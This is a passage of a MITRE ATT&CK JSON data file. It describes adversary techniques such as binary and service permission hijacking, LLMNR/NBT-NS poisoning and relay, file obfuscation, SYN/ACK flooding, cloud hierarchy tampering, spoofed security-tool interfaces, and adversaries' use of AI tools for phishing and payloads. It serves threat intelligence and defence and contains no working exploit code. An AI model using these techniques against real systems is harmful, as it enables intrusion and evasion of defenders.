            "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)",
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                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e",
            "created": "2024-03-11T13:37:31.836Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1588/007",
                    "external_id": "T1588.007"
                },
                {
                    "source_name": "WSJ-Vishing-AI24",
                    "description": "Catherine Stupp. (2019, August 30). Fraudsters Used AI to Mimic CEO\u2019s Voice in Unusual Cybercrime Case. Retrieved March 18, 2025.",
                    "url": "https://www.wsj.com/articles/fraudsters-use-ai-to-mimic-ceos-voice-in-unusual-cybercrime-case-11567157402"
                },
                {
                    "source_name": "Google-Vishing24",
                    "description": "Emily Astranova, Pascal Issa. (2024, July 23). Whose Voice Is It Anyway? AI-Powered Voice Spoofing for Next-Gen Vishing Attacks. Retrieved March 18, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/ai-powered-voice-spoofing-vishing-attacks"
                },
                {
                    "source_name": "IC3-AI24",
                    "description": "IC3. (2024, December 3). Criminals Use Generative Artificial Intelligence to Facilitate Financial Fraud. Retrieved March 18, 2025.",
                    "url": "https://www.ic3.gov/PSA/2024/PSA241203"
                },
                {
                    "source_name": "MSFT-AI",
                    "description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/"
                },
                {
                    "source_name": "OpenAI-CTI",
                    "description": "OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved September 12, 2024.",
                    "url": "https://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/"
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            "modified": "2026-05-12T15:12:00.620Z",
            "name": "Artificial Intelligence",
            "description": "Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI) \n\nFor example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI) Finally, AI-generated text, images, audio, and video may be used for fraud, [Impersonation](https://attack.mitre.org/techniques/T1684/001), and other malicious activities.(Citation: Google-Vishing24)(Citation: IC3-AI24)(Citation: WSJ-Vishing-AI24)\n",
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                    "url": "https://attack.mitre.org/techniques/T1666",
                    "external_id": "T1666"
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                {
                    "source_name": "AWS re Inforce Trust Mod",
                    "description": "AWS re Inforce. (2024, June). Retrieved April 15, 2026.",
                    "url": "https://d1.awsstatic.com/onedam/marketing-channels/website/aws/en_US/events/approved/reinforce-2025/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"
                },
                {
                    "source_name": "AWS Organizations",
                    "description": "AWS. (n.d.). Terminology and concepts for AWS Organizations. Retrieved September 25, 2024.",
                    "url": "https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html"
                },
                {
                    "source_name": "Microsoft Subscription Hijacking 2022",
                    "description": "Dor Edry. (2022, August 24). Hunt for compromised Azure subscriptions using Microsoft Defender for Cloud Apps. Retrieved September 5, 2023.",
                    "url": "https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/hunt-for-compromised-azure-subscriptions-using-microsoft/ba-p/3607121"
                },
                {
                    "source_name": "Microsoft Azure Resources",
                    "description": "Microsoft Azure. (2024, May 31). Organize your Azure resources effectively. Retrieved September 25, 2024.",
                    "url": "https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-setup-guide/organize-resources"
                },
                {
                    "source_name": "Microsoft Peach Sandstorm 2023",
                    "description": "Microsoft Threat Intelligence. (2023, September 14). Peach Sandstorm password spray campaigns enable intelligence collection at high-value targets. Retrieved September 18, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/"
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            "name": "Modify Cloud Resource Hierarchy",
            "description": "Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses.  \n\nIaaS environments often group resources into a hierarchy, enabling improved resource management and application of policies to relevant groups. Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.(Citation: AWS Organizations)(Citation: Microsoft Azure Resources)\n\nAdversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim\u2019s compute resources without generating logs on the victim tenant.(Citation: Microsoft Peach Sandstorm 2023)(Citation: Microsoft Subscription Hijacking 2022)\n\nIn AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization. This account will use the same payment methods registered to the payment account but may not be subject to existing detections or Service Control Policies.(Citation: AWS re Inforce Trust Mod)",
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                    "url": "https://attack.mitre.org/techniques/T1564/008",
                    "external_id": "T1564.008"
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                {
                    "source_name": "MacOS Email Rules",
                    "description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.",
                    "url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac"
                },
                {
                    "source_name": "Microsoft Mail Flow Rules 2023",
                    "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
                    "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
                },
                {
                    "source_name": "Microsoft Inbox Rules",
                    "description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.",
                    "url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59"
                },
                {
                    "source_name": "Microsoft New-InboxRule",
                    "description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps"
                },
                {
                    "source_name": "Microsoft Set-InboxRule",
                    "description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps"
                },
                {
                    "source_name": "Microsoft Cloud App Security",
                    "description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.",
                    "url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154"
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                {
                    "source_name": "Anonymous Hackers Deface Russian Govt Site",
                    "description": "Andy. (2018, May 12). \u2018Anonymous\u2019 Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.",
                    "url": "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/"
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                {
                    "source_name": "FireEye Cyber Threats to Media Industries",
                    "description": "FireEye. (n.d.). Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210719110553/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf"
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                    "source_name": "Kevin Mandia Statement to US Senate Committee on Intelligence",
                    "description": "Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.",
                    "url": "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf"
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                    "source_name": "Trend Micro Deep Dive Into Defacement",
                    "description": "Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.",
                    "url": "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf"
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                    "source_name": "File obfuscation",
                    "description": "Aspen Lindblom, Joseph Goodwin, and Chris Sheldon. (2021, July 19). Shlayer Malvertising Campaigns Still Using Flash Update Disguise. Retrieved March 29, 2024.",
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                    "source_name": "SFX - Encrypted/Encoded File",
                    "description": "Jai Minton. (2023, March 31). How Falcon OverWatch Investigates Malicious Self-Extracting Archives, Decoy Files and Their Hidden Payloads. Retrieved March 29, 2024.",
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            "description": "Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded Payloads](https://attack.mitre.org/techniques/T1027/009), share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)) at the time of execution/use.\n\nThis type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files.(Citation: File obfuscation) Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding schemes such as Base64.\n\nThe entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.\n\nFor example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a [Phishing](https://attack.mitre.org/techniques/T1566) payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: SFX - Encrypted/Encoded File) \n\nAdversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) execution.",
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                    "url": "https://attack.mitre.org/techniques/T1171",
                    "external_id": "T1171"
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                {
                    "source_name": "Wikipedia LLMNR",
                    "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution"
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                {
                    "source_name": "TechNet NetBIOS",
                    "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
                    "url": "https://technet.microsoft.com/library/cc958811.aspx"
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                    "source_name": "byt3bl33d3r NTLM Relaying",
                    "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.",
                    "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html"
                },
                {
                    "source_name": "Secure Ideas SMB Relay",
                    "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.",
                    "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html"
                },
                {
                    "source_name": "GitHub NBNSpoof",
                    "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
                    "url": "https://github.com/nomex/nbnspoof"
                },
                {
                    "source_name": "Rapid7 LLMNR Spoofer",
                    "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
                    "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response"
                },
                {
                    "source_name": "GitHub Responder",
                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
                    "url": "https://github.com/SpiderLabs/Responder"
                },
                {
                    "source_name": "Sternsecurity LLMNR-NBTNS",
                    "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
                    "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning"
                },
                {
                    "source_name": "GitHub Conveigh",
                    "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
                    "url": "https://github.com/Kevin-Robertson/Conveigh"
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            "modified": "2025-10-24T17:48:23.748Z",
            "name": "LLMNR/NBT-NS Poisoning and Relay",
            "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)",
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            "created": "2020-10-02T15:59:11.695Z",
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                    "url": "https://attack.mitre.org/techniques/T1590/005",
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                {
                    "source_name": "Circl Passive DNS",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
                    "url": "https://www.circl.lu/services/passive-dns/"
                },
                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                    "url": "https://dnsdumpster.com/"
                },
                {
                    "source_name": "WHOIS",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
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            "name": "IP Addresses",
            "description": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
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            "created": "2020-02-20T15:27:18.581Z",
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                    "url": "https://attack.mitre.org/techniques/T1499/001",
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                {
                    "source_name": "Cisco DoSdetectNetflow",
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                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
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                    "source_name": "Cloudflare SynFlood",
                    "description": "Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019.",
                    "url": "https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/"
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                    "source_name": "Corero SYN-ACKflood",
                    "description": "Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20220119104451/https://www.corero.com/resource-hub/syn-ack-flood-attack/"
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                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
                    "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
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            "description": "Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)",
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                    "url": "https://attack.mitre.org/techniques/T1014",
                    "external_id": "T1014"
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                {
                    "source_name": "CrowdStrike Linux Rootkit",
                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
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                {
                    "source_name": "BlackHat Mac OSX Rootkit",
                    "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.",
                    "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"
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                    "source_name": "Symantec Windows Rootkits",
                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
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                    "source_name": "Wikipedia Rootkit",
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                    "url": "https://attack.mitre.org/techniques/T1546/013",
                    "external_id": "T1546.013"
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                {
                    "source_name": "Wits End and Shady PowerShell Profiles",
                    "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.",
                    "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html"
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                    "source_name": "ESET Turla PowerShell May 2019",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
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                    "source_name": "Malware Archaeology PowerShell Cheat Sheet",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
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                    "source_name": "Microsoft About Profiles",
                    "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.",
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                    "source_name": "Microsoft Profiles",
                    "description": "Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.",
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                    "external_id": "T1059.007"
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                {
                    "source_name": "Apple About Mac Scripting 2016",
                    "description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html"
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                {
                    "source_name": "MDSec macOS JXA and VSCode",
                    "description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.",
                    "url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/"
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                    "source_name": "Microsoft JScript 2007",
                    "description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript \u2026. Retrieved June 23, 2020.",
                    "url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript"
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                    "source_name": "Microsoft Windows Scripts",
                    "description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.",
                    "url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces"
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                    "source_name": "JScrip May 2018",
                    "description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.",
                    "url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript"
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                {
                    "source_name": "NodeJS",
                    "description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.",
                    "url": "https://nodejs.org/"
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                {
                    "source_name": "SentinelOne macOS Red Team",
                    "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.",
                    "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
                },
                {
                    "source_name": "SpecterOps JXA 2020",
                    "description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.",
                    "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"
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                {
                    "source_name": "Red Canary Silver Sparrow Feb2021",
                    "description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow\u2019s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.",
                    "url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/"
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            "name": "JavaScript",
            "description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).",
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            "created": "2026-04-14T22:54:02.938Z",
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                    "url": "https://attack.mitre.org/techniques/T1685/003",
                    "external_id": "T1685.003"
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                {
                    "source_name": "BlackBasta",
                    "description": "Antonio Cocomazzi and Antonio Pirozzi. (2022, November 3). Black Basta Ransomware | Attacks Deploy Custom EDR Evasion Tools Tied to FIN7 Threat Actor. Retrieved March 14, 2023.",
                    "url": "https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/"
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            "name": "Modify or Spoof Tool UI",
            "description": "Adversaries may spoof or manipulate security tool user interfaces (UIs) to falsely indicate tools are functioning normally and delay detection and response. \n\nAdversaries may present misleading or falsified security tool interfaces (UIs) that display normal or healthy status indicators, even when underlying security tools have been disabled, degraded, or otherwise tampered with. Security tools typically provide visibility into system health, alerting, and operational status; by misrepresenting this information, adversaries can undermine defender trust in these signals and obscure the true security posture of the system. \n\nThis behavior is often used in conjunction with efforts to disable or modify tools, where adversaries first impair the functionality of defenses (e.g., EDR, logging agents) and then replace or mimic their interfaces to conceal the loss of visibility. By maintaining the appearance of normal operations, such as showing active protection, successful updates, or absence of threats, adversaries can delay investigation and response, enabling continued malicious activity. \n\nFor example, adversaries may display a fake Windows Security interface or system tray icon indicating a \u201cprotected\u201d or \u201chealthy\u201d state after disabling Windows Defender or related services.(Citation: BlackBasta)",
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            "created": "2020-10-02T15:47:10.102Z",
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                    "url": "https://attack.mitre.org/techniques/T1590/002",
                    "external_id": "T1590.002"
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                {
                    "source_name": "Circl Passive DNS",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
                    "url": "https://www.circl.lu/services/passive-dns/"
                },
                {
                    "source_name": "DNS-CISA",
                    "description": "CISA. (2016, September 29). DNS Zone Transfer AXFR Requests May Leak Domain Information. Retrieved June 5, 2024.",
                    "url": "https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information"
                },
                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                    "url": "https://dnsdumpster.com/"
                },
                {
                    "source_name": "Alexa-dns",
                    "description": "Scanning Alexa's Top 1M for AXFR. (2015, March 29). Retrieved June 5, 2024.",
                    "url": "https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/"
                },
                {
                    "source_name": "Sean Metcalf Twitter DNS Records",
                    "description": "Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved September 12, 2024.",
                    "url": "https://x.com/PyroTek3/status/1126487227712921600"
                },
                {
                    "source_name": "Trails-DNS",
                    "description": "SecurityTrails. (2018, March 14). Wrong Bind Configuration Exposes the Complete List of Russian TLD's to the Internet. Retrieved June 5, 2024.",
                    "url": "https://web.archive.org/web/20180615055527/https://securitytrails.com/blog/russian-tlds"
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            "name": "DNS",
